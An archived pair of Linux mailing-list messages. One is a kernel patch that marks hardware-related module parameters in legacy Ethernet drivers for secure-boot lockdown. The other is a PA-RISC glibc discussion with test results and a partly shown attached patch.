NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1491412632 20922 195.159.176.226 (5 Apr 2017 17:17:12 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 5 Apr 2017 17:17:12 +0000 (UTC)
User-Agent: StGit/0.17.1-dirty
Cc: gnomes@lxorguk.ukuu.org.uk,
        Steffen Klassert <klassert@mathematik.tu-chemnitz.de>,
        linux-parisc@vger.kernel.org, netdev@vger.kernel.org,
        Jaroslav Kysela <perex@perex.cz>, dhowells@redhat.com,
        linux-security-module@vger.kernel.org, keyrings@vger.kernel.org,
        gregkh@linuxfoundation.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Apr 05 19:17:07 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1cvoYM-0004oj-FV
	for glk-linux-kernel-3@m.gmane.org; Wed, 05 Apr 2017 19:17:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933849AbdDERRF (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Wed, 5 Apr 2017 13:17:05 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:55784 "EHLO mx1.redhat.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1756017AbdDEQ74 (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 5 Apr 2017 12:59:56 -0400
Original-Received: from smtp.corp.redhat.com (int-mx06.intmail.prod.int.phx2.redhat.com [10.5.11.16])
        (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
        (No client certificate requested)
        by mx1.redhat.com (Postfix) with ESMTPS id 3F9DA5145D;
        Wed,  5 Apr 2017 16:59:44 +0000 (UTC)
DMARC-Filter: OpenDMARC Filter v1.3.2 mx1.redhat.com 3F9DA5145D
Authentication-Results: ext-mx10.extmail.prod.ext.phx2.redhat.com; dmarc=none (p=none dis=none) header.from=redhat.com
Authentication-Results: ext-mx10.extmail.prod.ext.phx2.redhat.com; spf=pass smtp.mailfrom=dhowells@redhat.com
DKIM-Filter: OpenDKIM Filter v2.11.0 mx1.redhat.com 3F9DA5145D
Original-Received: from warthog.procyon.org.uk (ovpn-120-211.rdu2.redhat.com [10.10.120.211])
        by smtp.corp.redhat.com (Postfix) with ESMTP id 60A437B154;
        Wed,  5 Apr 2017 16:59:40 +0000 (UTC)
In-Reply-To: <149141141298.29162.5612793122429261720.stgit@warthog.procyon.org.uk>
X-Scanned-By: MIMEDefang 2.79 on 10.5.11.16
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16 (mx1.redhat.com [10.5.110.39]); Wed, 05 Apr 2017 16:59:44 +0000 (UTC)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2449444 gmane.linux.ports.parisc:27383 gmane.linux.network:464079 gmane.linux.kernel.lsm:32393
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2449444>

When the kernel is running in secure boot mode, we lock down the kernel to
prevent userspace from modifying the running kernel image.  Whilst this
includes prohibiting access to things like /dev/mem, it must also prevent
access by means of configuring driver modules in such a way as to cause a
device to access or modify the kernel image.

To this end, annotate module_param* statements that refer to hardware
configuration and indicate for future reference what type of parameter they
specify.  The parameter parser in the core sees this information and can
skip such parameters with an error message if the kernel is locked down.
The module initialisation then runs as normal, but just sees whatever the
default values for those parameters is.

Note that we do still need to do the module initialisation because some
drivers have viable defaults set in case parameters aren't specified and
some drivers support automatic configuration (e.g. PNP or PCI) in addition
to manually coded parameters.

This patch annotates drivers in drivers/net/ethernet/.

Suggested-by: Alan Cox <gnomes@lxorguk.ukuu.org.uk>
Signed-off-by: David Howells <dhowells@redhat.com>
cc: Steffen Klassert <klassert@mathematik.tu-chemnitz.de>
cc: Jaroslav Kysela <perex@perex.cz>
cc: netdev@vger.kernel.org
cc: linux-parisc@vger.kernel.org
---

 drivers/net/ethernet/3com/3c509.c      |    2 +-
 drivers/net/ethernet/3com/3c59x.c      |    4 ++--
 drivers/net/ethernet/8390/ne.c         |    4 ++--
 drivers/net/ethernet/8390/smc-ultra.c  |    4 ++--
 drivers/net/ethernet/8390/wd.c         |    8 ++++----
 drivers/net/ethernet/amd/lance.c       |    6 +++---
 drivers/net/ethernet/amd/ni65.c        |    6 +++---
 drivers/net/ethernet/cirrus/cs89x0.c   |    6 +++---
 drivers/net/ethernet/dec/tulip/de4x5.c |    2 +-
 drivers/net/ethernet/hp/hp100.c        |    2 +-
 drivers/net/ethernet/realtek/atp.c     |    4 ++--
 drivers/net/ethernet/smsc/smc9194.c    |    4 ++--
 12 files changed, 26 insertions(+), 26 deletions(-)

diff --git a/drivers/net/ethernet/3com/3c509.c b/drivers/net/ethernet/3com/3c509.c
index c7f9f2c77da7..db8592d412ab 100644
--- a/drivers/net/ethernet/3com/3c509.c
+++ b/drivers/net/ethernet/3com/3c509.c
@@ -1371,7 +1371,7 @@ el3_resume(struct device *pdev)
 #endif /* CONFIG_PM */
 
 module_param(debug,int, 0);
-module_param_array(irq, int, NULL, 0);
+module_param_hw_array(irq, int, irq, NULL, 0);
 module_param(max_interrupt_work, int, 0);
 MODULE_PARM_DESC(debug, "debug level (0-6)");
 MODULE_PARM_DESC(irq, "IRQ number(s) (assigned)");
diff --git a/drivers/net/ethernet/3com/3c59x.c b/drivers/net/ethernet/3com/3c59x.c
index 40196f41768a..e41245a54f8b 100644
--- a/drivers/net/ethernet/3com/3c59x.c
+++ b/drivers/net/ethernet/3com/3c59x.c
@@ -813,8 +813,8 @@ module_param(global_enable_wol, int, 0);
 module_param_array(enable_wol, int, NULL, 0);
 module_param(rx_copybreak, int, 0);
 module_param(max_interrupt_work, int, 0);
-module_param(compaq_ioaddr, int, 0);
-module_param(compaq_irq, int, 0);
+module_param_hw(compaq_ioaddr, int, ioport, 0);
+module_param_hw(compaq_irq, int, irq, 0);
 module_param(compaq_device_id, int, 0);
 module_param(watchdog, int, 0);
 module_param(global_use_mmio, int, 0);
diff --git a/drivers/net/ethernet/8390/ne.c b/drivers/net/ethernet/8390/ne.c
index c063b410a163..66f47987e2a2 100644
--- a/drivers/net/ethernet/8390/ne.c
+++ b/drivers/net/ethernet/8390/ne.c
@@ -74,8 +74,8 @@ static int bad[MAX_NE_CARDS];
 static u32 ne_msg_enable;
 
 #ifdef MODULE
-module_param_array(io, int, NULL, 0);
-module_param_array(irq, int, NULL, 0);
+module_param_hw_array(io, int, ioport, NULL, 0);
+module_param_hw_array(irq, int, irq, NULL, 0);
 module_param_array(bad, int, NULL, 0);
 module_param_named(msg_enable, ne_msg_enable, uint, (S_IRUSR|S_IRGRP|S_IROTH));
 MODULE_PARM_DESC(io, "I/O base address(es),required");
diff --git a/drivers/net/ethernet/8390/smc-ultra.c b/drivers/net/ethernet/8390/smc-ultra.c
index 364b6514f65f..4e02f6a23575 100644
--- a/drivers/net/ethernet/8390/smc-ultra.c
+++ b/drivers/net/ethernet/8390/smc-ultra.c
@@ -561,8 +561,8 @@ static struct net_device *dev_ultra[MAX_ULTRA_CARDS];
 static int io[MAX_ULTRA_CARDS];
 static int irq[MAX_ULTRA_CARDS];
 
-module_param_array(io, int, NULL, 0);
-module_param_array(irq, int, NULL, 0);
+module_param_hw_array(io, int, ioport, NULL, 0);
+module_param_hw_array(irq, int, irq, NULL, 0);
 module_param_named(msg_enable, ultra_msg_enable, uint, (S_IRUSR|S_IRGRP|S_IROTH));
 MODULE_PARM_DESC(io, "I/O base address(es)");
 MODULE_PARM_DESC(irq, "IRQ number(s) (assigned)");
diff --git a/drivers/net/ethernet/8390/wd.c b/drivers/net/ethernet/8390/wd.c
index ad019cbc698f..6efa2722f850 100644
--- a/drivers/net/ethernet/8390/wd.c
+++ b/drivers/net/ethernet/8390/wd.c
@@ -503,10 +503,10 @@ static int irq[MAX_WD_CARDS];
 static int mem[MAX_WD_CARDS];
 static int mem_end[MAX_WD_CARDS];	/* for non std. mem size */
 
-module_param_array(io, int, NULL, 0);
-module_param_array(irq, int, NULL, 0);
-module_param_array(mem, int, NULL, 0);
-module_param_array(mem_end, int, NULL, 0);
+module_param_hw_array(io, int, ioport, NULL, 0);
+module_param_hw_array(irq, int, irq, NULL, 0);
+module_param_hw_array(mem, int, iomem, NULL, 0);
+module_param_hw_array(mem_end, int, iomem, NULL, 0);
 module_param_named(msg_enable, wd_msg_enable, uint, (S_IRUSR|S_IRGRP|S_IROTH));
 MODULE_PARM_DESC(io, "I/O base address(es)");
 MODULE_PARM_DESC(irq, "IRQ number(s) (ignored for PureData boards)");
diff --git a/drivers/net/ethernet/amd/lance.c b/drivers/net/ethernet/amd/lance.c
index 61a641f23149..12a6a93d221b 100644
--- a/drivers/net/ethernet/amd/lance.c
+++ b/drivers/net/ethernet/amd/lance.c
@@ -318,9 +318,9 @@ static int io[MAX_CARDS];
 static int dma[MAX_CARDS];
 static int irq[MAX_CARDS];
 
-module_param_array(io, int, NULL, 0);
-module_param_array(dma, int, NULL, 0);
-module_param_array(irq, int, NULL, 0);
+module_param_hw_array(io, int, ioport, NULL, 0);
+module_param_hw_array(dma, int, dma, NULL, 0);
+module_param_hw_array(irq, int, irq, NULL, 0);
 module_param(lance_debug, int, 0);
 MODULE_PARM_DESC(io, "LANCE/PCnet I/O base address(es),required");
 MODULE_PARM_DESC(dma, "LANCE/PCnet ISA DMA channel (ignored for some devices)");
diff --git a/drivers/net/ethernet/amd/ni65.c b/drivers/net/ethernet/amd/ni65.c
index 5985bf220a8d..e248d1ab3e47 100644
--- a/drivers/net/ethernet/amd/ni65.c
+++ b/drivers/net/ethernet/amd/ni65.c
@@ -1227,9 +1227,9 @@ static void set_multicast_list(struct net_device *dev)
 #ifdef MODULE
 static struct net_device *dev_ni65;
 
-module_param(irq, int, 0);
-module_param(io, int, 0);
-module_param(dma, int, 0);
+module_param_hw(irq, int, irq, 0);
+module_param_hw(io, int, ioport, 0);
+module_param_hw(dma, int, dma, 0);
 MODULE_PARM_DESC(irq, "ni6510 IRQ number (ignored for some cards)");
 MODULE_PARM_DESC(io, "ni6510 I/O base address");
 MODULE_PARM_DESC(dma, "ni6510 ISA DMA channel (ignored for some cards)");
diff --git a/drivers/net/ethernet/cirrus/cs89x0.c b/drivers/net/ethernet/cirrus/cs89x0.c
index 3647b28e8de0..8f660d9761cc 100644
--- a/drivers/net/ethernet/cirrus/cs89x0.c
+++ b/drivers/net/ethernet/cirrus/cs89x0.c
@@ -1704,12 +1704,12 @@ static int use_dma;			/* These generate unused var warnings if ALLOW_DMA = 0 */
 static int dma;
 static int dmasize = 16;		/* or 64 */
 
-module_param(io, int, 0);
-module_param(irq, int, 0);
+module_param_hw(io, int, ioport, 0);
+module_param_hw(irq, int, irq, 0);
 module_param(debug, int, 0);
 module_param_string(media, media, sizeof(media), 0);
 module_param(duplex, int, 0);
-module_param(dma , int, 0);
+module_param_hw(dma , int, dma, 0);
 module_param(dmasize , int, 0);
 module_param(use_dma , int, 0);
 MODULE_PARM_DESC(io, "cs89x0 I/O base address");
diff --git a/drivers/net/ethernet/dec/tulip/de4x5.c b/drivers/net/ethernet/dec/tulip/de4x5.c
index df4a871df633..fd6bcf024729 100644
--- a/drivers/net/ethernet/dec/tulip/de4x5.c
+++ b/drivers/net/ethernet/dec/tulip/de4x5.c
@@ -1015,7 +1015,7 @@ static int     compact_infoblock(struct net_device *dev, u_char count, u_char *p
 
 static int io=0x0;/* EDIT THIS LINE FOR YOUR CONFIGURATION IF NEEDED        */
 
-module_param(io, int, 0);
+module_param_hw(io, int, ioport, 0);
 module_param(de4x5_debug, int, 0);
 module_param(dec_only, int, 0);
 module_param(args, charp, 0);
diff --git a/drivers/net/ethernet/hp/hp100.c b/drivers/net/ethernet/hp/hp100.c
index 1a31bee6e728..5673b071e39d 100644
--- a/drivers/net/ethernet/hp/hp100.c
+++ b/drivers/net/ethernet/hp/hp100.c
@@ -2966,7 +2966,7 @@ MODULE_DESCRIPTION("HP CASCADE Architecture Driver for 100VG-AnyLan Network Adap
 #define HP100_DEVICES 5
 /* Parameters set by insmod */
 static int hp100_port[HP100_DEVICES] = { 0, [1 ... (HP100_DEVICES-1)] = -1 };
-module_param_array(hp100_port, int, NULL, 0);
+module_param_hw_array(hp100_port, int, ioport, NULL, 0);
 
 /* List of devices */
 static struct net_device *hp100_devlist[HP100_DEVICES];
diff --git a/drivers/net/ethernet/realtek/atp.c b/drivers/net/ethernet/realtek/atp.c
index 9bcd4aefc9c5..bed34684994f 100644
--- a/drivers/net/ethernet/realtek/atp.c
+++ b/drivers/net/ethernet/realtek/atp.c
@@ -151,8 +151,8 @@ MODULE_LICENSE("GPL");
 
 module_param(max_interrupt_work, int, 0);
 module_param(debug, int, 0);
-module_param_array(io, int, NULL, 0);
-module_param_array(irq, int, NULL, 0);
+module_param_hw_array(io, int, ioport, NULL, 0);
+module_param_hw_array(irq, int, irq, NULL, 0);
 module_param_array(xcvr, int, NULL, 0);
 MODULE_PARM_DESC(max_interrupt_work, "ATP maximum events handled per interrupt");
 MODULE_PARM_DESC(debug, "ATP debug level (0-7)");
diff --git a/drivers/net/ethernet/smsc/smc9194.c b/drivers/net/ethernet/smsc/smc9194.c
index c8d84679ede7..d3bb2ba51f40 100644
--- a/drivers/net/ethernet/smsc/smc9194.c
+++ b/drivers/net/ethernet/smsc/smc9194.c
@@ -1501,8 +1501,8 @@ static void smc_set_multicast_list(struct net_device *dev)
 static struct net_device *devSMC9194;
 MODULE_LICENSE("GPL");
 
-module_param(io, int, 0);
-module_param(irq, int, 0);
+module_param_hw(io, int, ioport, 0);
+module_param_hw(irq, int, irq, 0);
 module_param(ifport, int, 0);
 MODULE_PARM_DESC(io, "SMC 99194 I/O base address");
 MODULE_PARM_DESC(irq, "SMC 99194 IRQ number");



From - Thu Nov 08 21:39:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: mmap problem in localedef
Date: Wed, 5 Apr 2017 19:03:07 -0400
Lines: 1641
Approved: news@gmane.org
Message-ID: <9978E89C-A7D6-4ED2-9751-69CA148505E3@bell.net>
References: <alpine.LRH.2.20.1612051330040.25582@math.ut.ee> <9B251251-04AB-4D78-ADD7-F0D429DEB761@bell.net> <20170401183717.jpvilw2u4lgiceuv@raspberrypi-3.musicnaut.iki.fi> <2241815.7QkIsKQeSs@daneel.sf-tec.de> <20170401191023.xpf32zopaecd7dzy@raspberrypi-3.musicnaut.iki.fi> <59CDF2DE-076C-4BC0-8381-CE31A2AA8F56@bell.net> <20170402191245.odedqsqcx2cp5xtt@raspberrypi-3.musicnaut.iki.fi>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: multipart/mixed; boundary=Apple-Mail-23--122404600
X-Trace: blaine.gmane.org 1491433402 16004 195.159.176.226 (5 Apr 2017 23:03:22 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 5 Apr 2017 23:03:22 +0000 (UTC)
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>,
        Meelis Roos <mroos@linux.ee>, linux-parisc@vger.kernel.org
To: Aaro Koskinen <aaro.koskinen@iki.fi>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 06 01:03:14 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cvtxA-0005up-Sz
	for glpp-linux-parisc@m.gmane.org; Thu, 06 Apr 2017 01:03:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754361AbdDEXDK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 5 Apr 2017 19:03:10 -0400
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:42818 "EHLO
        mtlfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1752304AbdDEXDI (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 5 Apr 2017 19:03:08 -0400
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20170405230307.MBKN7970.mtlfep01.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Wed, 5 Apr 2017 19:03:07 -0400
Original-Received: from [192.168.2.10] (really [69.158.172.43]) by mtlspm02.bell.net
          with ESMTP
          id <20170405230307.IZIZ6763.mtlspm02.bell.net@[192.168.2.10]>;
          Wed, 5 Apr 2017 19:03:07 -0400
In-Reply-To: <20170402191245.odedqsqcx2cp5xtt@raspberrypi-3.musicnaut.iki.fi>
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=D8KoErZj c=1 sm=0 tr=0 a=MCnG2Shyl1iix8vyRwff9w==:17 a=AzvcPWV-tVgA:10 a=VwQbUJbxAAAA:8 a=CCpqsmhAAAAA:8 a=FBHGMhGWAAAA:8 a=K6g2RAdyl2cOWA2hA90A:9 a=RIXRTTXwRuPfb6Vu:21 a=aMfbIHCsz6zHVvar:21 a=CjuIK1q_8ugA:10 a=lzDhS8hmAAAA:8 a=mDV3o1hIAAAA:8 a=hxGhHl1hI7u5Wfq4RM0A:9 a=oDOXIm8TiGNvrF2r:21 a=ztnJAHl50nm2Yj9_:21 a=TdN7U5H745d8w7Hl:21 a=Ld372NDzu18A:10 a=AjGcO6oz07-iQ99wixmX:22 a=ul9cdbp4aOFLsgKbc677:22 a=9gvnlMMaQFpL9xblJ6ne:22 a=rigQk1bY_8VmChEzA3fK:22 a=_FVE-zBwftR9WsbkzFJk:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27384
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27384>


--Apple-Mail-23--122404600
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain;
	charset=us-ascii

On 2017-04-02, at 3:12 PM, Aaro Koskinen wrote:

> Hi,
>=20
> On Sun, Apr 02, 2017 at 10:08:59AM -0400, John David Anglin wrote:
>> On 2017-04-01, at 3:10 PM, Aaro Koskinen wrote:
>>> It was attached to Dave's original mail. Inlined below:
>>>=20
>>> Index: eglibc-2.18/sysdeps/unix/sysv/linux/hppa/bits/shm.h
>>> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
>>> --- eglibc-2.18.orig/sysdeps/unix/sysv/linux/hppa/bits/shm.h	=
2013-01-09 19:28:48.000000000 -0500
>>> +++ eglibc-2.18/sysdeps/unix/sysv/linux/hppa/bits/shm.h	=
2014-04-09 21:08:06.516202583 -0400
>>> @@ -36,7 +36,7 @@
>>> #define SHM_UNLOCK	12		/* unlock segment (root only) */
>>>=20
>>> /* Segment low boundary address multiple.  */
>>> -#define SHMLBA 0x00400000		/* address needs to be 4 Mb =
aligned */
>>> +#define SHMLBA		(__getpagesize ())
>>>=20
>>> /* Type to count number of attaches.  */
>>> typedef unsigned long int shmatt_t;
>>=20
>> This patch goes back to the following discussion:
>> https://patchwork.kernel.org/patch/3933841/
>>=20
>> As far as I can tell, it was not submitted to the glibc list, nor is
>> there a bug report regarding localedef.
>=20
> glibc bug report: =
https://sourceware.org/bugzilla/show_bug.cgi?id=3D19838


Attached is my latest patch for glibc trunk on hppa.  =
sysdeps/hppa/fpu/libm-test-ulps is updated with new
ulps values.  sysdeps/hppa/dl-fptr.c b/sysdeps/hppa/dl-fptr.c is updated =
because define for ALIGN_UP
moved.

There is still no clear resolution on SHMLBA value but the kernel was =
updated sometime ago to align unmapped
areas using color.  The SHM_COLOUR define is set to 4MB.  The intention =
was to allow shared memory areas
to be aligned on page boundaries.

With this update, I had the following test results:

FAIL: debug/tst-backtrace2
FAIL: debug/tst-backtrace3
FAIL: debug/tst-backtrace4
FAIL: debug/tst-backtrace5
FAIL: debug/tst-backtrace6
FAIL: elf/check-execstack
FAIL: elf/check-textrel
FAIL: elf/tst-audit2
FAIL: malloc/tst-malloc-thread-fail
FAIL: malloc/tst-trim1
FAIL: math/test-double-canonicalize
FAIL: math/test-float-canonicalize
FAIL: math/test-idouble-canonicalize
FAIL: math/test-ifloat-canonicalize
UNSUPPORTED: nptl/test-cond-printers
UNSUPPORTED: nptl/test-condattr-printers
UNSUPPORTED: nptl/test-mutex-printers
UNSUPPORTED: nptl/test-mutexattr-printers
UNSUPPORTED: nptl/test-rwlock-printers
UNSUPPORTED: nptl/test-rwlockattr-printers
FAIL: nptl/tst-cleanupx4
FAIL: nptl/tst-cond25
FAIL: nptl/tst-create-detached
FAIL: nptl/tst-robust-fork
FAIL: nptl/tst-rwlock19
FAIL: nptl/tst-typesizes
FAIL: stdlib/tst-setcontext2
FAIL: timezone/tst-tzset
Summary of test results:
     22 FAIL
   3267 PASS
      6 UNSUPPORTED
     45 XFAIL

There are a few test that fail randomly.

Dave
--
John David Anglin	dave.anglin@bell.net



--Apple-Mail-23--122404600
Content-Disposition: attachment;
	filename=glibc-20170404.d.txt
Content-Type: text/plain;
	name="glibc-20170404.d.txt"
Content-Transfer-Encoding: quoted-printable

diff --git a/elf/Makefile b/elf/Makefile
index cc4aeb25b6..883dd8f013 100644
--- a/elf/Makefile
+++ b/elf/Makefile
@@ -543,7 +543,7 @@ CFLAGS-ldconfig.c =3D $(SYSCONF-FLAGS) =
-D'LIBDIR=3D"$(libdir)"' \
 libof-ldconfig =3D ldconfig
 CFLAGS-dl-cache.c =3D $(SYSCONF-FLAGS)
 CFLAGS-cache.c =3D $(SYSCONF-FLAGS)
-CFLAGS-rtld.c =3D $(SYSCONF-FLAGS)
+CFLAGS-rtld.c +=3D $(SYSCONF-FLAGS)
=20
 cpp-srcs-left :=3D $(all-rtld-routines:=3D.os)
 lib :=3D rtld
diff --git a/nptl/allocatestack.c b/nptl/allocatestack.c
index e5c5f79a82..085ae07b32 100644
--- a/nptl/allocatestack.c
+++ b/nptl/allocatestack.c
@@ -647,9 +647,13 @@ allocate_stack (const struct pthread_attr *attr, =
struct pthread **pdp,
 			prot) !=3D 0)
 	    goto mprot_error;
 #elif _STACK_GROWS_UP
-	  if (mprotect ((char *) pd - pd->guardsize,
-			pd->guardsize - guardsize, prot) !=3D 0)
-	    goto mprot_error;
+	  char *new_guard =3D (char *) (((uintptr_t) pd - guardsize) & =
~pagesize_m1);
+	  char *old_guard =3D (char *) (((uintptr_t) pd - pd->guardsize) =
& ~pagesize_m1);
+	  /* The guard size difference might be > 0, but once rounded
+	     to the nearest page the size difference might be zero.  */
+	  if (old_guard - new_guard > 0)
+	    if (mprotect (old_guard, new_guard - old_guard, prot) !=3D =
0)
+	      goto mprot_error;
 #endif
=20
 	  pd->guardsize =3D guardsize;
diff --git a/resolv/res_mkquery.c b/resolv/res_mkquery.c
index d80b5318e5..99d7d96027 100644
--- a/resolv/res_mkquery.c
+++ b/resolv/res_mkquery.c
@@ -83,6 +83,15 @@
 # define RANDOM_BITS(Var) { uint64_t v64; HP_TIMING_NOW (v64); Var =3D =
v64; }
 #endif
=20
+/* The structure HEADER is normally aligned to a word boundary and its
+   fields are accessed using word loads and stores.  We need to access
+   this structure when it is aligned on a byte boundary.  This can =
cause
+   problems on machines with strict alignment.  So, we create a new
+   typedef to reduce its alignment to one.  This ensures the fields are
+   accessed with byte loads and stores.  */
+typedef HEADER __attribute__ ((__aligned__(1))) UHEADER;
+#define HEADER UHEADER
+
 /*
  * Form all types of queries.
  * Returns the size of the result or -1.
diff --git a/resolv/res_query.c b/resolv/res_query.c
index 07dc6f6583..9a1a8f90d1 100644
--- a/resolv/res_query.c
+++ b/resolv/res_query.c
@@ -78,6 +78,14 @@
 #include <stdlib.h>
 #include <string.h>
=20
+/* The structure HEADER is normally aligned to a word boundary and its
+   fields are accessed using word loads and stores.  We need to access=20=

+   this structure when it is aligned on a byte boundary.  This can =
cause
+   problems on machines with strict alignment.  So, we create a new
+   typedef to reduce its alignment to one.  This ensures the fields are
+   accessed with byte loads and stores.  */
+typedef HEADER __attribute__ ((__aligned__(1))) UHEADER;
+
 /* Options.  Leave them on. */
 /* #undef DEBUG */
=20
@@ -117,8 +125,8 @@ __libc_res_nquery(res_state statp,
 		  int *resplen2,
 		  int *answerp2_malloced)
 {
-	HEADER *hp =3D (HEADER *) answer;
-	HEADER *hp2;
+	UHEADER *hp =3D (UHEADER *) answer;
+	UHEADER *hp2;
 	int n, use_malloc =3D 0;
 	u_int oflags =3D statp->_flags;
=20
@@ -235,7 +243,7 @@ __libc_res_nquery(res_state statp,
=20
 	if (answerp !=3D NULL)
 	  /* __libc_res_nsend might have reallocated the buffer.  */
-	  hp =3D (HEADER *) *answerp;
+	  hp =3D (UHEADER *) *answerp;
=20
 	/* We simplify the following tests by assigning HP to HP2 or
 	   vice versa.  It is easy to verify that this is the same as
@@ -246,7 +254,7 @@ __libc_res_nquery(res_state statp,
 	  }
 	else
 	  {
-	    hp2 =3D (HEADER *) *answerp2;
+	    hp2 =3D (UHEADER *) *answerp2;
 	    if (n < (int) sizeof (HEADER))
 	      {
 	        hp =3D hp2;
@@ -336,7 +344,7 @@ __libc_res_nsearch(res_state statp,
 		   int *answerp2_malloced)
 {
 	const char *cp, * const *domain;
-	HEADER *hp =3D (HEADER *) answer;
+	UHEADER *hp =3D (UHEADER *) answer;
 	char tmp[NS_MAXDNAME];
 	u_int dots;
 	int trailing_dot, ret, saved_herrno;
diff --git a/resolv/res_send.c b/resolv/res_send.c
index 28c4cabfcb..19f9a86a2b 100644
--- a/resolv/res_send.c
+++ b/resolv/res_send.c
@@ -110,6 +110,15 @@
 #include <kernel-features.h>
 #include <libc-diag.h>
=20
+/* The structure HEADER is normally aligned to a word boundary and its
+   fields are accessed using word loads and stores.  We need to access=20=

+   this structure when it is aligned on a byte boundary.  This can =
cause
+   problems on machines with strict alignment.  So, we create a new
+   typedef to reduce its alignment to one.  This ensures the fields are
+   accessed with byte loads and stores.  */
+typedef HEADER __attribute__ ((__aligned__(1))) UHEADER;
+#define HEADER UHEADER
+
 #if PACKETSZ > 65536
 #define MAXPACKET       PACKETSZ
 #else
diff --git a/sysdeps/hppa/Makefile b/sysdeps/hppa/Makefile
index c0edb99917..64af43b5ff 100644
--- a/sysdeps/hppa/Makefile
+++ b/sysdeps/hppa/Makefile
@@ -23,6 +23,7 @@ LDFLAGS-c_pic.os +=3D -Wl,--unique=3D.text*
=20
 ifeq ($(subdir),elf)
 CFLAGS-rtld.c +=3D -mdisable-fpregs
+CFLAGS-dl-reloc.c +=3D --param inline-unit-growth=3D100
 sysdep-dl-routines +=3D dl-symaddr dl-fptr
 # dl-fptr.c needs a complete rewrite to fix ISO C aliasing violations.
 CFLAGS-dl-fptr.c =3D -Wno-error
diff --git a/sysdeps/hppa/__longjmp.c b/sysdeps/hppa/__longjmp.c
index a7eefc7ad6..438db01473 100644
--- a/sysdeps/hppa/__longjmp.c
+++ b/sysdeps/hppa/__longjmp.c
@@ -24,15 +24,16 @@
 void
 __longjmp (__jmp_buf env, int val)
 {
+#ifdef CHECK_SP
+  CHECK_SP (env[0].__jmp_buf.__sp);
+#endif
+
+  {
   /* We must use one of the non-callee saves registers
      for env.  */
   register unsigned long r26 asm ("r26") =3D (unsigned long)&env[0];
   register unsigned long r25 asm ("r25") =3D (unsigned long)(val =3D=3D =
0 ? 1 : val);
=20
-#ifdef CHECK_SP
-  CHECK_SP (env[0].__jmp_buf.__sp);
-#endif
-
   asm volatile(
 	/* Set return value.  */
 	"copy	%0, %%r28\n\t"
@@ -79,6 +80,8 @@ __longjmp (__jmp_buf env, int val)
 	: /* No outputs.  */
 	: "r" (r25), "r" (r26)
 	: /* No point in clobbers.  */ );
+  }
+
   /* Avoid `volatile function does return' warnings.  */
   for (;;);
 }
diff --git a/sysdeps/hppa/crti.S b/sysdeps/hppa/crti.S
index 7c1470ddf8..0f9bb7b013 100644
--- a/sysdeps/hppa/crti.S
+++ b/sysdeps/hppa/crti.S
@@ -49,6 +49,95 @@
 # define PREINIT_FUNCTION_WEAK 1
 #endif
=20
+#if PREINIT_FUNCTION_WEAK
+	weak_extern (PREINIT_FUNCTION)
+#else
+	.hidden PREINIT_FUNCTION
+#endif
+
+
+/* If we have working .init_array support, we want to keep the .init
+   section empty (apart from the mandatory prologue/epilogue.  This
+   ensures that the default unwind conventions (return-pointer in b0,
+   frame state in ar.pfs, etc.)  will do the Right Thing.  To ensure
+   an empty .init section, we register gmon_initializer() via the
+   .init_array.
+
